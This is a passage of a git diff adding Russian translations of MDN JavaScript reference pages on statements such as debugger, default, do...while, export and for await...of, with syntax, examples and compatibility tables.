+   <td>Стандарт</td>
+   <td>Изначальное определение. Версия без метки.</td>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е Издание.</td>
+   <td>Стандарт</td>
+   <td>Добавлена поддержка метки.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.7', 'Continue statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-continue-statement', 'Continue statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/label", "label")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/debugger/index.html b/files/ru/web/javascript/reference/statements/debugger/index.html
new file mode 100644
index 0000000000..f6f1c58674
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/debugger/index.html
@@ -0,0 +1,124 @@
+---
+title: debugger
+slug: Web/JavaScript/Reference/Statements/debugger
+tags:
+  - JavaScript
+  - Отладка
+translation_of: Web/JavaScript/Reference/Statements/debugger
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Выражение <strong>debugger </strong>открывает доступ к любому доступному в конкретном окружении отладочному функционалу, например к установке точек останова (т.н. брейкпоинтов). Если функционал отладки в среде выполнения недоступен, данное выражение не будет иметь никакого эффекта.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>debugger;</code></pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Следующий пример показывает код, содержащий выражение <strong>debugger. </strong>Это позволяет вызвать функционал отладки (если таковой может быть использован) при вызове функции.</p>
+
+<pre class="brush:js">function potentiallyBuggyCode() {
+    debugger;
+    // чтобы протестировать работу отладчика, поместите здесь код, заведомо содержащий ошибку
+}</pre>
+
+<p>При вызове отладчика выполнение скрипта приостановится в том месте, где находится выражение <strong>debugger</strong>, что равноценно<strong> </strong>действию установленных в скрипте точек останова.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/6963/Screen Shot 2014-02-07 at 9.14.35 AM.png"><img alt="Paused at a debugger statement." src="https://mdn.mozillademos.org/files/6963/Screen%20Shot%202014-02-07%20at%209.14.35%20AM.png" style="height: 371px; width: 700px;"></a></p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-debugger-statement', 'Debugger statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-debugger-statement', 'Debugger statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.15', 'Debugger statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Исходное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-7.5.3', 'Debugger statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-7.4.3', 'Debugger statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Упоминается только в качестве зарезервированного слова.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Debugging_JavaScript">Debugging JavaScript</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger">The Debugger in the Firefox Developer Tools</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/default/index.html b/files/ru/web/javascript/reference/statements/default/index.html
new file mode 100644
index 0000000000..5a6438e9c7
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/default/index.html
@@ -0,0 +1,116 @@
+---
+title: default
+slug: Web/JavaScript/Reference/Statements/default
+tags:
+  - JavaScript
+  - Keyword
+  - Switch
+  - export
+translation_of: Web/JavaScript/Reference/Statements/switch
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>В JavaScript ключевое слово <strong>default </strong>используется в двух случаях: внутри конструкции {{jsxref("Statements/switch", "switch")}} или с конструкцией {{jsxref("Statements/export", "export")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>В конструкции {{jsxref("Statements/switch", "switch")}}:</p>
+
+<pre class="syntaxbox">switch (expression) {
+  case value1:
+    // Выражение выполнится, когда значение expression соответствует value1
+    [break;]
+  default:
+    // Выражение выполнится, когда ни одно из значений не будет соответствовать значению expression
+    [break;]
+}</pre>
+
+<p>С конструкцией {{jsxref("Statements/export", "export")}}:</p>
+
+<pre class="syntaxbox">export default <em>nameN</em> </pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Для получения дополнительной информации смотрите:</p>
+
+<ul>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+ <li>{{jsxref("Statements/export", "export")}}</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_default_в_switch">Использование <code>default</code> в  <code>switch</code></h3>
+
+<p>В следующем примере, если <code>expr</code> имеет значение  "Апельсины" или "Яблоки", то программа сопоставит это значение с "Апельсины" или с "Яблоки", а затем выполнит соответствующее выражение. В других случаях поможет ключевое слово <strong>default,</strong>  выполня связанное выражение.</p>
+
+<pre class="brush: js">switch (expr) {
+  case 'Апельсины':
+    console.log('Апельсины стоят $0.59 за фунт.');
+    break;
+  case 'Яблоки':
+    console.log('Яблоки стоят $0.32 за фунт.');
+    break;
+  default:
+    console.log(`Извините, у нас закончились ${expr}.`);
+}</pre>
+
+<h3 id="Использование_default_с_export">Использование <code>default</code> с<font face="Open Sans, arial, sans-serif"> </font><code>export</code></h3>
+
+<p>При необходимости экспорта единственного значения или резервирования (fallback) значения для модуля, можно воспользоваться<strong> </strong>экспортом по-умолчанию: </p>
+
+<pre class="brush: js">// модуль "my-module.js"
+let cube = function cube(x) {
+  return x * x * x;
+};
+export default cube;</pre>
+
+<p>Тогда, в другом файле JavaScript, становится возможным просто импортировать экспортируемое по-умолчанию значение:</p>
+
+<pre class="brush: js">// модуль "my-module.js"
+import myFunction from 'my-module';
+console.log(myFunction(3)); // 27
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.statements.default")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/export", "export")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/do...while/index.html b/files/ru/web/javascript/reference/statements/do...while/index.html
new file mode 100644
index 0000000000..f6707b4b04
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/do...while/index.html
@@ -0,0 +1,94 @@
+---
+title: do...while
+slug: Web/JavaScript/Reference/Statements/do...while
+translation_of: Web/JavaScript/Reference/Statements/do...while
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Выражение <strong><code>do...while</code></strong> создает цикл, который выполняет указанное выражение до тех пор, пока условие не станет ложным. Условие проверяется после выполнения выражения, то есть выражение выполнится как минимум один раз.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/statement-dowhile.html")}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">do
+   <em>выражение</em>
+while (<em>условие</em>);
+</pre>
+
+<dl>
+ <dt><code>выражение</code></dt>
+ <dd>Выражение, которое выполняется как минимум один раз и выполняется на каждом шаге цикла, пока условие истинно. Выражение может содержать несколько строк, для этого необходимо сгруппировать код в {{jsxref("Statements/block", "блок")}} (<code>{ ... }</code>).</dd>
+</dl>
+
+<dl>
+ <dt><code>условие</code></dt>
+ <dd>Выражение, которое вычисляется после каждого шага цикла. Если <code>условие</code> истинно, то <code>выражение</code> выполняется еще раз. Когда <code>условие</code> ложно, выполняется выражение, следующее после <code>do...while</code>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_do...while">Использование <code>do...while</code></h3>
+
+<p>В примере, цикл <code>do...while</code> выполняется до тех пор, пока <code>i</code> не перестанет быть меньше 5.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="example"&gt;&lt;/div&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var result = '';
+var i = 0;
+do {
+   i += 1;
+   result += i + ' ';
+} while (i &gt; 0 &amp;&amp; i &lt; 5); // Немотря на то, что i == 0, цикл всё равно продолжится, так как начинается без теста
+document.getElementById('example').innerHTML = result;</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Примеры') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Изначальное определение. Реализовано в JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.6.1', 'do-while statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-do-while-statement', 'do-while statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Использование ; теперь необязательно</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-do-while-statement', 'do-while statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<p>{{Compat("javascript.statements.do_while")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/while", "while")}}</li>
+ <li>{{jsxref("Statements/for", "for")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/empty/index.html b/files/ru/web/javascript/reference/statements/empty/index.html
new file mode 100644
index 0000000000..89956bf163
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/empty/index.html
@@ -0,0 +1,148 @@
+---
+title: Пустая инструкция
+slug: Web/JavaScript/Reference/Statements/Empty
+tags:
+  - 'Statement, инструкция, пустая инструкция'
+translation_of: Web/JavaScript/Reference/Statements/Empty
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>Пустая инструкция</strong> используется, когда инструкция не нужна, хотя синтаксис JavaScript будет предполагать её.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">;
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Пустая инструкция - точка с запятой (;) оповещает о том, что ни одно выражение не будет выполняться, даже если синтаксис JavaScript ожидает этого.</p>
+
+<p>Противоположное поведение, где вы хотите использовать несколько заявлений, но JavaScript позволяет только одно, можно сделать используя <a href="/ru/docs/Web/JavaScript/Reference/Statements/block"> блок</a>; он комбинирует несколько инструкций в одно.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Пустая инструкция используется в выражениях циклов. Смотрите следующий пример с пустым телом цикла:</p>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+
+// Приравняет все значения массива к 0
+for (i = 0; i &lt; arr.length; arr[i++] = 0) /* выражения */ ;
+
+console.log(arr)
+// [0, 0, 0]
+</pre>
+
+<p><strong>Заметьте:</strong> Это хорошая идея: комментировать намеренное использование пустых инструкций, т.к. не очевидно отличить их от нормальной точки с запятой. В следующем примере использование, вероятно, ненамеренное:</p>
+
+<pre class="brush: js">if (condition);       // Внимание, этот if ничего не делает!
+   killTheUniverse()  // Это всегда выполняется!!!
+</pre>
+
+<p>Другой пример: <a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a> без фигурных скобок  (<code>{}</code>). Если <code>three</code> истинно, ничего не пройзойдет, <code>four</code> не важна, и функция <code>launchRocket()</code> тоже не запустится.</p>
+
+<pre class="brush: js">if (one)
+  doOne();
+else if (two)
+  doTwo();
+else if (three)
+  ; // nothing here
+else if (four)
+  doFour();
+else
+  launchRocket();</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-empty-statement', 'Empty statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-empty-statement', 'Empty statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.3', 'Empty statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.3', 'Empty statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.3', 'Empty statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/block", "Блок")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/export/index.html b/files/ru/web/javascript/reference/statements/export/index.html
new file mode 100644
index 0000000000..4eca1d3d1b
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/export/index.html
@@ -0,0 +1,131 @@
+---
+title: export
+slug: Web/JavaScript/Reference/Statements/export
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Statement
+  - export
+  - Инструкция
+  - Модули
+translation_of: Web/JavaScript/Reference/Statements/export
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Инструкция <strong>export </strong>используется для экспорта функций, объектов или примитивов из файла (или модуля).</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Эта функциональность не реализована в браузерах на данный момент, но она реализована во многих транспилерах, таких как <a href="https://github.com/google/traceur-compiler">Traceur Compiler</a>, <a href="http://babeljs.io/">Babel</a> or <a href="https://github.com/rollup/rollup">Rollup</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">export { <var>name1</var>, <var>name2</var>, …, <var>nameN</var> };
+export { <var>variable1</var> as <var>name1</var>, <var>variable2</var> as <var>name2</var>, …, <var>nameN</var> };
+export let <var>name1</var>, <var>name2</var>, …, <var>nameN</var>; // или var
+export let <var>name1</var> = …, <var>name2</var> = …, …, <var>nameN</var>; // или var, const
+
+export default <em>выражение</em>;
+export default function (…) { … } // или class, function*
+export default function name1(…) { … } // или class, function*
+export { <var>name1</var> as default, … };
+
+export * from …;
+export { <var>name1</var>, <var>name2</var>, …, <var>nameN</var> } from …;
+export { <var>import1</var> as <var>name1</var>, <var>import2</var> as <var>name2</var>, …, <var>nameN</var> } from …;</pre>
+
+<dl>
+ <dt><code>nameN</code></dt>
+ <dd>Идентификатор для экспорта (чтобы он мог быть импортирован с помощью {{jsxref("Statements/import", "import")}} в другом файле (скрипте)).</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Существует два типа экспорта, каждый из которых описан ниже:</p>
+
+<ul>
+ <li>Именованный экспорт:
+  <pre class="brush: js">export { myFunction }; // экспорт ранее объявленной функции
+export const foo = Math.sqrt(2); // экспорт константы</pre>
+ </li>
+ <li>Дефолтный экспорт (экспорт по умолчанию) (один на скрипт):
+  <pre class="brush: js">export default function() {} // или '<em>export default class {}</em>'
+// тут не ставится точка с запятой</pre>
+ </li>
+</ul>
+
+<p>Именованная форма более применима для экспорта нескольких величин. Во время импорта, можно будет использовать одно и то же имя, чтобы обратиться к соответствующему экспортируемому значению.</p>
+
+<p>Касательно экспорта по умолчанию (default), он может быть только один для каждого отдельного модуля (файла). Дефолтный экспорт может представлять собой функцию, класс, объект или что-то другое. Это значение следует рассматривать как "основное", так как его будет проще всего импортировать.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_именованного_экспорта">Использование именованного экспорта</h3>
+
+<p>Мы могли бы использовать следующий код в модуле:</p>
+
+<pre class="brush: js">// модуль"my-module.js"
+function cube(x) {
+  return x * x * x;
+}
+const foo = Math.PI + Math.SQRT2;
+export { cube, foo };
+</pre>
+
+<p>Таким образом в другом скрипте при помощи импорта (см. <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/import">import</a></code>) мы могли бы получить следующее:</p>
+
+<pre class="brush: js">import { cube, foo } from 'my-module';
+console.log(cube(3)); // 27
+console.log(foo);    // 4.555806215962888</pre>
+
+<h3 id="Использование_export_default">Использование export default</h3>
+
+<p>Если мы хотим экспортировать единственное значение или иметь резервное значение (fallback) для данного модуля, мы можем использовать <code>export default</code>.</p>
+
+<pre class="brush: js">// модуль"my-module.js"
+export default function cube(x) {
+  return x * x * x;
+}
+</pre>
+
+<p>Затем, в другом скрипте можно импортировать это значение по умолчанию таким образом:</p>
+
+<pre class="brush: js">import cube from 'my-module';
+console.log(cube(3)); // 27
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.statements.export")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/import", "import")}}</li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post by Jason Orendorff</li>
+ <li><a href="http://exploringjs.com/es6/ch_modules.html">Axel Rauschmayer's book: "Exploring JS: Modules"</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/for-await...of/index.html b/files/ru/web/javascript/reference/statements/for-await...of/index.html
new file mode 100644
index 0000000000..72200e4004
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/for-await...of/index.html
@@ -0,0 +1,139 @@
+---
+title: for await...of
+slug: Web/JavaScript/Reference/Statements/for-await...of
+tags:
+  - JavaScript
+  - async
+  - Асинхронность
+  - ДжаваСкрипт
+translation_of: Web/JavaScript/Reference/Statements/for-await...of
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Выражение <strong><code>for await...of</code> </strong>создаёт цикл, проходящий через асинхронные итерируемые объекты, а также синхронные итерируемые сущности, включающие: встроенные {{jsxref("String")}}, {{jsxref("Array")}}, <code>Array</code>-подобные объекты (например., {{jsxref("Functions/arguments", "arguments")}} или {{domxref("NodeList")}}), {{jsxref("TypedArray")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, а также определяемые пользователем асинхронные/синхронные сущности. Он вызывает пользовательский итерационный хук с инструкциями, которые должны быть выполнены для значения каждого отдельного свойства объекта.</p>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, склонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам пуллреквест.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">for await (<em>variable</em> of <em>iterable</em>) {
+  <em>statement
+</em>}
+</pre>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>На каждой итерации значение другого свойства присваивается <em>variable</em>. <em>variable</em> может быть объявлена с помощью ключевых слов <code>const</code>, <code>let</code>, or <code>var</code>.</dd>
+ <dt><code>iterable</code></dt>
+ <dd>Объект, чьи итерируемые свойства будут повторяться.</dd>
+</dl>
+
+<h3 id="Итерирование_по_асинхронным_переменным"><span style="background-color: #333333; letter-spacing: -0.00278rem;">Итерирование по асинхронным переменным</span></h3>
+
+<p>Вы также можете перебрать объект, который явно реализует асинхронный итерируемый протокол.</p>
+
+<pre class="brush:js">var asyncIterable = {
+  [Symbol.asyncIterator]() {
+    return {
+      i: 0,
+      next() {
+        if (this.i &lt; 3) {
+          return Promise.resolve({ value: this.i++, done: false });
+        }
+
+        return Promise.resolve({ done: true });
+      }
+    };
+  }
+};
+
+(async function() {
+   for await (let num of asyncIterable) {
+     console.log(num);
+   }
+})();
+
+// 0
+// 1
+// 2
+</pre>
+
+<h3 id="Итерирование_по_асинхронным_генераторам."><span style="background-color: #333333; letter-spacing: -0.00278rem;">Итерирование по асинхронным генераторам.</span></h3>
+
+<p>Поскольку асинхронные генераторы реализуют асинхронный протокол Iterator, по ним можно пройти циклом с помощью <code>for await... of</code></p>
+
+<pre class="brush: js">async function* asyncGenerator() {
+  var i = 0;
+  while (i &lt; 3) {
+    yield i++;
+  }
+}
+
+(async function() {
+  for await (let num of asyncGenerator()) {
+    console.log(num);
+  }
+})();
+// 0
+// 1
+// 2</pre>
+
+<p>Для более конкретного примера перебора асинхронного генератора с помощью <code>for await... of</code>, рассмотрим перебор данных из API.  В этом примере сначала создается асинхронный итератор для потока данных, а затем он используется для определения размера ответа от API.</p>
+
+<pre class="brush: js">async function* streamAsyncIterator(stream) {
+  const reader = stream.getReader();
+  try {
+    while (true) {
+      const { done, value } = await reader.read();
+      if (done) {
+        return;
+      }
+      yield value;
+    }
+  } finally {
+    reader.releaseLock();
+  }
+}
+// Fetches data from url and calculates response size using the async generator.
+async function getResponseSize(url) {
+  const response = await fetch(url);
+  // Will hold the size of the response, in bytes.
+  let responseSize = 0;
+  // The for-await-of loop. Async iterates over each portion of the response.
+  for await (const chunk of streamAsyncIterator(response.body)) {
+    // Incrementing the total response length.
+    responseSize += chunk.length;
+  }
+
+  console.log(`Response Size: ${responseSize} bytes`);
+  // expected output: "Response Size: 1071472"
+  return responseSize;
+}
+getResponseSize('https://jsonplaceholder.typicode.com/photos');</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'ECMAScript Language: The for-in, for-of, and for-await-of Statements')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите https://github.com/mdn/browser-compat-data и отправьте пуллреквест. <span style="font-size: 1rem; letter-spacing: -0.00278rem;">{{Compat("javascript.statements.for_await_of")}}</span></div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/for...of")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/for...in/index.html b/files/ru/web/javascript/reference/statements/for...in/index.html
new file mode 100644
index 0000000000..6cca45033b
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/for...in/index.html
@@ -0,0 +1,197 @@
+---
+title: for...in
+slug: Web/JavaScript/Reference/Statements/for...in
+tags:
+  - JavaScript
+  - Выражение
+  - Цикл
+translation_of: Web/JavaScript/Reference/Statements/for...in
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code><font face="Open Sans, Arial, sans-serif">Цикл </font>for...in</code></strong> проходит через перечисляемые свойства объекта. Он пройдёт по каждому отдельному элементу.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">for (<var>variable</var> in <var>object</var>) {<em>...</em>
+}</pre>
+
+<dl>
+ <dt><code>variable</code></dt>
